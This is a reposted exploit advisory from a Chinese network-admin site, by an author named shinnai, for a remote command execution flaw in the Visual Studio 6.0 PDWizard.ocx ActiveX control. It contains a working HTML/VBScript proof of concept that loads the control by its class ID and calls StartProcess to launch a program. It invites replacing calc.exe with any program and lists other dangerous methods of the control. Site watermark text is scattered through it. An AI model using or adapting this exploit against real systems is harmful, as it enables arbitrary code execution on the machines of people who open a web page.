| 网管联盟 | 网管论坛 | 网管u家 | 网管博客 | 网管软件 | 网管求职 | 小游戏 | 网管搜索 | 网管原创 | 网管聚合 | 网管读摘 | 网管焦点 | 世界素材 | 会员投稿 | 会员中心 |
|
| Windows Linux Cisco 网络技术 数据库 黑客攻防 DotNet Java PHP 认证 新闻资讯 服务器 存储资讯 网络设备 网管学堂 技术专题 焦点 网吧频道 |
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">------------------------------------------------------------------------------------------------------
<b>Microsoft Visual Studio 6.0 PDWizard (PDWizard.ocx <= 6.0.0.9782) Remote Arbitrary Command Execution</b>
url: http://www.microsoft.com 网管联盟bitsCN@com
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
网管下载dl.bitscn.com
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
网管有家bitscn.net
<b><font color='red'>greetz to: Wiz001 (be safe brotha... and see soon :D)</font></b> 网管u家u.bitsCN.com
<b>Description:
This ocx contains a lot of extreme dangerous methods. Theese two are very interesting, they are:
"StartProcess()" and "SyncShell()"
Using one of them, you'll be able to run every program you like, simply giving to the method the
right argument.
In this PoC, I use the "StartProcess()" method to execute the calc.exe, but you can do everything
you like.
Anyway, I think you could imagine what impact could have this kind of vulnerability :D
中国网管联盟bitsCN.com
Other dangerous methods of this ocx are:
"SaveAs()"
"CABDefaultURL()"
"CABFileName()"
"CABRunFile()"</b>
------------------------------------------------------------------------------------------------------ 网管朋友网www_bitscn_net
<object classid='clsid:0DDF3C0B-E692-11D1-AB06-00AA00BDD685' id='test'></object>
网管u家www.bitscn.net
<input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> 网管u家www.bitscn.net
<script language = 'vbscript'>
Sub tryMe()
test.StartProcess "c:windowssystem32calc.exe", "False" 'you can change with your favourite application ;)
End Sub
</script>
</span></span>
</code></pre> 中国网管论坛bbs.bitsCN.com
|
0
|
评论加载中…